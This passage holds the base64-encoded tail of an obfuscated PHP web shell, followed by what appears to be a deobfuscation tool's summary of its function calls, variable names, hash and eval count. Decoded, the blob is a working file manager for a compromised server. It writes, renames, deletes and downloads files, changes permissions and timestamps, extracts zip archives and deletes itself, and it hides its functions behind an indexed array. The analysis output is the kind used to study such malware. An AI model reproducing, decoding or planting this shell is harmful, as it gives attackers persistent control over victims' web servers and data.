IGF0b2IoWCk7CgkJCQkJCQkJJCgidGV4dGFyZWEiKS52YWwoWik7CgkJCQkJCQl9CgkJCQkJCQllbHNlIHsKCQkJCQkJCQl2YXIgTiA9ICQoInRleHRhcmVhIikudmFsKCk7CgkJCQkJCQkJdmFyIEkgPSBidG9hKE4pOwoJCQkJCQkJCSQoInRleHRhcmVhIikudmFsKEkpOwoJCQkJCQkJfQoJCQkJCQl9KTsKCQkJCQk8L3NjcmlwdD4nOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsiZSJdKSkgewoJCQkJCQlpZigkX1BPU1RbImI2NCJdID09ICIxIikgewoJCQkJCQkJJGV4ID0gJEdOSls3XSgkX1BPU1RbImUiXSk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQkkZXggPSAkX1BPU1RbImUiXTsKCQkJCQkJfQoJCQkJCQkkZnAgPSAkR05KWzE3XSh1aGV4KCRfR0VUWyJlIl0pLCAndycpOwoJCQkJCQlpZigkR05KWzE4XSgkZnAsICRleCkpIHsKCQkJCQkJCU9LKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCSRHTkpbMTldKCRmcCk7CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsieCJdKSkgewoJCQkJCQlyZWModWhleCgkX0dFVFsieCJdKSk7CgkJCQkJCWlmKCRHTkpbMjZdKHVoZXgoJF9HRVRbIngiXSkpKSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJT0soKTsKCQkJCQkJfQoKCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJ0Il0pKSB7CgkJCQkJCWVjaG8gJGFfLnVoZXgoJF9HRVRbInQiXSkuJGJfLicKCQkJCQkJCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8aW5wdXQgbmFtZT0idCIgY2xhc3M9IngiIHR5cGU9InRleHQiIHZhbHVlPSInLiRHTkpbMjBdKCJZLW0tZCBIOmkiLCAkR05KWzIxXSh1aGV4KCRfR0VUWyJ0Il0pKSkuJyI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoICFlbXB0eSgkX1BPU1RbInQiXSkgKSB7CgkJCQkJCSRwID0gJEdOSlszM10oJF9QT1NUWyJ0Il0pOwoJCQkJCQlpZigkcCkgewoJCQkJCQkJaWYoISRHTkpbMjVdKHVoZXgoJF9HRVRbInQiXSksJHAsJHApKSB7CgkJCQkJCQkJRVIoKTsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCU9LKCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlFUigpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiayJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJrIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IG5hbWU9ImIiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy4kR05KWzIyXSgkR05KWzIzXSgnJW8nLCAkR05KWzI0XSh1aGV4KCRfR0VUWyJrIl0pKSksIC00KS4nIj4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQknLiRjXzsKCQkJCQlpZighZW1wdHkoJF9QT1NUWyJiIl0pKSB7CgkJCQkJCSR4ID0gJF9QT1NUWyJiIl07CgkJCQkJCSR0ID0gMDsKCQkJCQlmb3IoJGk9c3RybGVuKCR4KS0xOyRpPj0wOy0tJGkpCgkJCQkJCSR0ICs9IChpbnQpJHhbJGldKnBvdyg4LCAoc3RybGVuKCR4KS0kaS0xKSk7CgkJCQkJaWYoISRHTkpbMTJdKHVoZXgoJF9HRVRbImsiXSksICR0KSkgewoJCQkJCQlFUigpOwoJCQkJCX0KCQkJCQllbHNlIHsKCQkJCQkJT0soKTsKCQkJCQkJICB9CgkJCQkJCX0KCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJsIl0pKSB7CgkJCQkJCWVjaG8gJGFfLicrRElSJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJsIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoaXNzZXQoJF9QT1NUWyJsIl0pKSB7CgkJCQkJCWlmKCEkR05KWzExXSgkX1BPU1RbImwiXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlPSygpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsicSJdKSkgewoJCQkJCQlpZigkR05KWzEwXShfX0ZJTEVfXykpIHsKCQkJCQkJCSRHTkpbMzhdKCRHTkpbOV0pOwoJCQkJCQkJaGVhZGVyKCJMb2NhdGlvbjogIi5iYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkuIiIpOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UgewoJCQkJCQkJZWNobyAkZzsKCQkJCQkJfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbIm4iXSkpIHsKCQkJCQkJZWNobyAkYV8uJytGSUxFJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQkJCQkJCTxpbnB1dCBuYW1lPSJuIiBjbGFzcz0ieCIgdHlwZT0idGV4dCIgdmFsdWU9IiI+CgkJCQkJCQkJCQknLiRkXy4nCgkJCQkJCQkJJy4kY187CgkJCQkJaWYoaXNzZXQoJF9QT1NUWyJuIl0pKSB7CgkJCQkJCWlmKCEkR05KWzI1XSgkX1BPU1RbIm4iXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlPSygpOwoJCQkJCQl9CgkJCQkJICB9CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiciJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJyIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IG5hbWU9InIiIGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy51aGV4KCRfR0VUWyJyIl0pLiciPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCScuJGNfOwoJCQkJCWlmKGlzc2V0KCRfUE9TVFsiciJdKSkgewoJCQkJCQlpZigkR05KWzI2XSgkX1BPU1RbInIiXSkpIHsKCQkJCQkJCUVSKCk7CgkJCQkJCX0KCQkJCQkJZWxzZSB7CgkJCQkJCQlpZigkR05KWzI3XSh1aGV4KCRfR0VUWyJyIl0pLCAkX1BPU1RbInIiXSkpIHsKCQkJCQkJCQlPSygpOwoJCQkJCQkJfQoJCQkJCQkJZWxzZSB7CgkJCQkJCQkJRVIoKTsKCQkJCQkJCX0KCQkJCQkJICB9CgkJCQkJICAgfQoJCQkJCX0KCQkJCQllbHNlaWYoaXNzZXQoJF9HRVRbInoiXSkpIHsKCQkJCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlOwoJCQkJCQkkcmVzID0gJHppcC0+b3Blbih1aGV4KCRfR0VUWyJ6Il0pKTsKCQkJCQkJCWlmKCRyZXMgPT09IFRSVUUpIHsKCQkJCQkJCQkkemlwLT5leHRyYWN0VG8odWhleCgkX0dFVFsiZCJdKSk7CgkJCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQkJCQlPSygpOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlFUigpOwoJCQkJCQkgIH0KCQkJCQl9CgkJCQkJZWxzZSB7CgkJCQkJZWNobyAnPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPgoJCQkJCQk8dGhlYWQ+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRoIHdpZHRoPSI0NCUiPlsgTkFNRSBdPC90aD4KCQkJCQkJCQk8dGggd2lkdGg9IjExJSI+WyBTSVpFIF08L3RoPgoJCQkJCQkJCTx0aCB3aWR0aD0iMTclIj5bIFBFUk0gXTwvdGg+CgkJCQkJCQkJPHRoIHdpZHRoPSIxNyUiPlsgREFURSBdPC90aD4KCQkJCQkJCQk8dGggd2lkdGg9IjExJSI+WyBBQ1QgXTwvdGg+CgkJCQkJCQk8L3RyPgoJCQkJCQk8L3RoZWFkPgoJCQkJCQk8dGJvZHk+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRkPgoJCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZCkuJyZuIj4rRklMRTwvYT4KCQkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGQpLicmbCI+K0RJUjwvYT4KCQkJCQkJCQk8L3RkPgoJCQkJCQkJPC90cj4KCQkJCQkJJzsKCgkJCQkJCQkkaCA9ICIiOwoJCQkJCQkJJGogPSAiIjsKCQkJCQkJCSR3ID0gJEdOSlsxM10oJGQpOwoJCQkJCQkJaWYoJEdOSlsyOF0oJHcpIHx8ICRHTkpbMjldKCR3KSkgewoJCQkJCQkJZm9yZWFjaCgkdyBhcyAkYyl7CgkJCQkJCQkJJGUgPSAkR05KWzE0XSgiXFwiLCAiLyIsICRkKTsKCQkJCQkJCQlpZighJEdOSlszMF0oJGMsICIuemlwIikpIHsKCQkJCQkJCQkJJHppID0gJyc7CgkJCQkJCQkJfQoJCQkJCQkJCWVsc2UgewoJCQkJCQkJCQkkemkgPSAnPGEgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmej0nLmhleCgkYykuJyI+VTwvYT4nOwoJCQkJCQkJCX0KCQkJCQkJCQlpZigkR05KWzMxXSgiJGQvJGMiKSkgewoJCQkJCQkJCQkJJG8gPSAiIjsKCQkJCQkJCQl9CgkJCQkJCQkJZWxzZWlmKCEkR05KWzMyXSgiJGQvJGMiKSkgewoJCQkJCQkJCQkJJG8gPSAiIGgiOwoJCQkJCQkJCX0KCQkJCQkJCQllbHNlIHsKCQkJCQkJCQkJCSRvID0gIiB3IjsKCQkJCQkJCQl9CgkJCQkJCQkJJHMgPSAkR05KWzM0XSgiJGQvJGMiKSAvIDEwMjQ7CgkJCQkJCQkJJHMgPSByb3VuZCgkcywgMyk7CgkJCQkJCQkJaWYoJHM+PTEwMjQpIHsgCgkJCQkJCQkJCSRzID0gcm91bmQoJHMvMTAyNCwgMikgLiAiIE1CIjsKCQkJCQkJCQl9IGVsc2UgewoJCQkJCQkJCQkkcyA9ICRzIC4gIiBLQiI7CgkJCQkJCQkJfQoJCQkJCQkJaWYoKCRjICE9ICIuIikgJiYgKCRjICE9ICIuLiIpKXsKCQkJCQkJCQkoJEdOSls4XSgiJGQvJGMiKSkgPwoJCQkJCQkJCSRoIC49ICc8dHIgY2xhc3M9InIiPgoJCQkJCQkJPHRkPgoJCQkJCQkJCTxpIGNsYXNzPSJmYXIgZmEtZm9sZGVyIG0iPjwvaT4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuaGV4KCIvIi4kYykuJyI+Jy4kYy4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJZGlyCgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4Jy4kby4nIiBocmVmPSI/ZD0nLmhleCgkZSkuJyZrPScuaGV4KCRjKS4nIj4nLngoIiRkLyRjIikuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnQ9Jy5oZXgoJGMpLiciPicuJEdOSlsyMF0oIlktbS1kIEg6aSIsICRHTkpbMjFdKCIkZC8kYyIpKS4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcj0nLmhleCgkYykuJyI+UjwvYT4KCQkJCQkJCQk8YSBocmVmPSI/ZD0nLmhleCgkZSkuJyZ4PScuaGV4KCRjKS4nIj5EPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJPC90cj4KCQkJCQkJCgkJCQkJCScKCQkJCQkJCToKCQkJCQkJCQkkaiAuPSAnPHRyIGNsYXNzPSJyIj4KCQkJCQkJCTx0ZD4KCQkJCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWZpbGUgbSI+PC9pPiZ0aGluc3A7CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcz0nLmhleCgkYykuJyI+Jy4kYy4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJJy4kcy4nCgkJCQkJCQk8L3RkPgoJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4Jy4kby4nIiBocmVmPSI/ZD0nLmhleCgkZSkuJyZrPScuaGV4KCRjKS4nIj4nLngoIiRkLyRjIikuJzwvYT4KCQkJCQkJCTwvdGQ+CgkJCQkJCQk8dGQgY2xhc3M9IngiPgoJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnQ9Jy5oZXgoJGMpLiciPicuJEdOSlsyMF0oIlktbS1kIEg6aSIsICRHTkpbMjFdKCIkZC8kYyIpKS4nPC9hPgoJCQkJCQkJPC90ZD4KCQkJCQkJCTx0ZCBjbGFzcz0ieCI+CgkJCQkJCQkJPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9Jy5oZXgoJGUpLicmcj0nLmhleCgkYykuJyI+UjwvYT4KCQkJCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI/ZD0nLmhleCgkZSkuJyZlPScuaGV4KCRjKS4nIj5FPC9hPgoJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJmc9Jy5oZXgoJGMpLiciPkc8L2E+CgkJCQkJCQkJJy4kemkuJwoJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJng9Jy5oZXgoJGMpLiciPkQ8L2E+CgkJCQkJCQk8L3RkPgoJCQkJCQk8L3RyPgoJCQkJCQkKCQkJCQkJJzsKCgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgoJCQkJCQllY2hvICRoOwoJCQkJCQllY2hvICRqOwoJCQkJCQllY2hvICc8L3Rib2R5PgoJCQkJCQk8dGZvb3Q+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCI+CgkJCQkJCQkJCTxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnkiPlJFUVVFU1Q8L2E+CgkJCQkJCQkJCTxhIGhyZWY9Ij9kPScuaGV4KCRlKS4nJnEiPkVYSVQ8L2E+CgkJCQkJCQkJPC90aD4KCQkJCQkJCQk8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTElIj48L3RoPgoJCQkJCQkJCTx0aCBjbGFzcz0iZXQiIHdpZHRoPSIxNyUiPjwvdGg+CgkJCQkJCQkJPHRoIGNsYXNzPSJldCIgd2lkdGg9IjE3JSI+PC90aD4KCQkJCQkJCQk8dGggY2xhc3M9ImV0IiB3aWR0aD0iMTElIj48L3RoPgoJCQkJCQkJPC90cj4KCQkJCQk8L3Rmb290PgoJCQkJPC90YWJsZT4nOwoJCQkJCX0KCQkJCQk/PgoKCQkJPC9hcnRpY2xlPgoJCQk8Zm9vdGVyIGNsYXNzPSJ4Ij4KCQkJCQoJCQk8L2Zvb3Rlcj4KCQkJPD9waHAKCQkJaWYoaXNzZXQoJF9HRVRbIjEiXSkpIHsKCQkJCWVjaG8gJGY7CgkJCX0KCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyIwIl0pKSB7CgkJCQllY2hvICRnOwoJCQl9CgkJCWVsc2UgewoJCQkJTlVMTDsKCQkJfQoJCQk/PgoKCQkJPHNjcmlwdD4KCQkJCSQoIi5hangiKS5jbGljayhmdW5jdGlvbih0KXt0LnByZXZlbnREZWZhdWx0KCk7dmFyIGU9JCh0aGlzKS5hdHRyKCJocmVmIik7aGlzdG9yeS5wdXNoU3RhdGUoIiIsIiIsZSksJC5nZXQoZSxmdW5jdGlvbih0KXskKCJib2R5IikuaHRtbCh0KX0pfSk7CgkJCTwvc2NyaXB0PgoJCTwvYm9keT4KCTwvaHRtbD4KPD9waHAKCWZ1bmN0aW9uIHJlYygkaikgewoJCWdsb2JhbCAkR05KOwoJCWlmKHRyaW0ocGF0aGluZm8oJGosIFBBVEhJTkZPX0JBU0VOQU1FICksICcuJykgPT09ICcnKSB7CgkJCXJldHVybjsKCQl9CgkJaWYoJEdOSls4XSgkaikpIHsKCQkJYXJyYXlfbWFwKCdyZWMnLCBnbG9iKCRqIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd7LC59KicsIEdMT0JfQlJBQ0UgfCBHTE9CX05PU09SVCkpOwoJCQkkR05KWzM1XSgkaik7CgkJfQoJCWVsc2UgewoJCQkkR05KWzEwXSgkaik7CgkJfQoJfQoJZnVuY3Rpb24gZHJlKCR5MSwgJHkyKSB7CgkJZ2xvYmFsICRHTko7CgkJb2Jfc3RhcnQoKTsKCQkkR05KWzE2XSgkeTEoJHkyKSk7CgkJcmV0dXJuICRHTkpbMzZdKCk7Cgl9CglmdW5jdGlvbiBoZXgoJG4pIHsKCQkkeT0nJzsKCQlmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKyl7CgkJCSR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CgkJfQoJCXJldHVybiAkeTsKCX0KCWZ1bmN0aW9uIHVoZXgoJHkpIHsKCQkkbj0nJzsKCQlmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCR5KS0xOyAkaSs9Mil7CgkJCSRuIC49IGNocihoZXhkZWMoJHlbJGldLiR5WyRpKzFdKSk7CgkJfQoJCXJldHVybiAkbjsKCX0KCWZ1bmN0aW9uIE9LKCkgewoJCWdsb2JhbCAkR05KLCAkZDsKCQkkR05KWzM4XSgkR05KWzldKTsKCQloZWFkZXIoIkxvY2F0aW9uOiA/ZD0iLmhleCgkZCkuIiYxIik7CgkJZXhpdCgpOwoJfQoJZnVuY3Rpb24gRVIoKSB7CgkJZ2xvYmFsICRHTkosICRkOwoJCSRHTkpbMzhdKCRHTkpbOV0pOwoJCWhlYWRlcigiTG9jYXRpb246ID9kPSIuaGV4KCRkKS4iJjAiKTsKCQlleGl0KCk7Cgl9CglmdW5jdGlvbiB4KCRjKSB7CgkJZ2xvYmFsICRHTko7CgkJJHggPSAkR05KWzI0XSgkYyk7CgkJaWYoKCR4ICYgMHhDMDAwKSA9PSAweEMwMDApIHsKCQkJJHUgPSAicyI7CgkJfQoJCWVsc2VpZigoJHggJiAweEEwMDApID09IDB4QTAwMCkgewoJCQkkdSA9ICJsIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CgkJCSR1ID0gIi0iOwoJCX0KCQllbHNlaWYoKCR4ICYgMHg2MDAwKSA9PSAweDYwMDApIHsKCQkJJHUgPSAiYiI7CgkJfQoJCWVsc2VpZigoJHggJiAweDQwMDApID09IDB4NDAwMCkgewoJCQkkdSA9ICJkIjsKCQl9CgkJZWxzZWlmKCgkeCAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CgkJCSR1ID0gImMiOwoJCX0KCQllbHNlaWYoKCR4ICYgMHgxMDAwKSA9PSAweDEwMDApIHsKCQkJJHUgPSAicCI7CgkJfQoJCWVsc2UgewoJCQkkdSA9ICJ1IjsKCQl9CgkJJHUgLj0gKCgkeCAmIDB4MDEwMCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwODApID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDQwKSA/ICgoJHggJiAweDA4MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA4MDApID8gIlMiIDogIi0iKSk7CgkJJHUgLj0gKCgkeCAmIDB4MDAyMCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwMTApID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDA4KSA/ICgoJHggJiAweDA0MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA0MDApID8gIlMiIDogIi0iKSk7CgkJJHUgLj0gKCgkeCAmIDB4MDAwNCkgPyAiciIgOiAiLSIpOwoJCSR1IC49ICgoJHggJiAweDAwMDIpID8gInciIDogIi0iKTsKCQkkdSAuPSAoKCR4ICYgMHgwMDAxKSA/ICgoJHggJiAweDAyMDApID8gInQiIDogIngiKSA6ICgoJHggJiAweDAyMDApID8gIlQiIDogIi0iKSk7CgkJcmV0dXJuICR1OwoJfQoJaWYoaXNzZXQoJF9HRVRbImciXSkpIHsKCQkkR05KWzM4XSgkR05KWzldKTsKCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBCaW5hcnkiKTsKCQloZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiLiRHTkpbMzRdKHVoZXgoJF9HRVRbImciXSkpKTsKCQloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi51aGV4KCRfR0VUWyJnIl0pLiJcIiIpOwoJCSRHTkpbMzddKHVoZXgoJF9HRVRbImciXSkpOwoJfQo='));

Function Calls

str_rot13 1
gzuncompress 1
base64_decode 2

Variables

$acUiYQEV 64_d
$rOYmdABz base
$MctRJwTzX gzuncompress
$uemSDbRFe ress
$gdfWHZEaip ec
$CnacPQUbWCo gzu
$RGGcrQBfUjR base64_decode
$zwZAxFyyWfs ncomp
$WjVXpCbkVUAV ode

Stats

MD5 c682472b8fe37a165d07656738b6535a
Eval Count 2
Decode Time 96 ms